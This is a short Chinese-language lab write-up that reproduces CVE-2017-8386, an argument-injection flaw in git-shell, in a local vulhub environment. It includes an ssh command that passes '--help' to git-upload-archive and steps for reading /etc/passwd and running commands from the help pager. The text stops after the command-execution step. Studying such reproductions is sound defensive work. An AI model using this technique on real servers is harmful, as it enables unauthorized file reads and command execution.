漏洞背景
Git是美国软件开发者林纳斯-托瓦兹(Linus Torvalds)所研发的一套免费、开源的分布式版本控制系统。git-shell是一个命令行工具。 Git中的git-shell存在安全漏洞。远程攻击者可借助以破折号字符开头的储存库名称利用该漏洞获取权限。
影响版本
- 2.4.12之前的版本
- 2.5.6之前的2.5.x版本
- 2.6.7之前的2.6.x版本
- 2.7.5之前的2.7.x版本
- 2.8.5之前的2.8.x版本
- 2.9.4之前的2.9.x版本
- 2.10.3之前的2.10.x版本
- 2.11.2之前的2.11.x版本
- 2.12.3之前的2.12.x版本
漏洞原理
原理这里就不多赘述,详细需要看:https://vulhub.org/#/environments/git/CVE-2017-8386/
想要对这个漏洞有一定理解,强烈建议看原理,上面这篇文章写的也简单易懂,十分好理解!
漏洞复现
我使用vulhub的环境,ssh端口为3322
,目录下有id_rsa
私钥文件,需要给予0600
权限,以免连接失败。
正常连接ssh会给git-shell拦截,不返回shell,我们使用--help
技巧,进入help界面。
ssh -p 3322 -i id_rsa -t git@127.0.0.1 "git-upload-archive '--help'"
接着按下shift+e
,输入文件绝对路径,即可读取任意文件,我这里输入了/etc/passwd
:
输入在help界面输入!id
,还能够执行命令: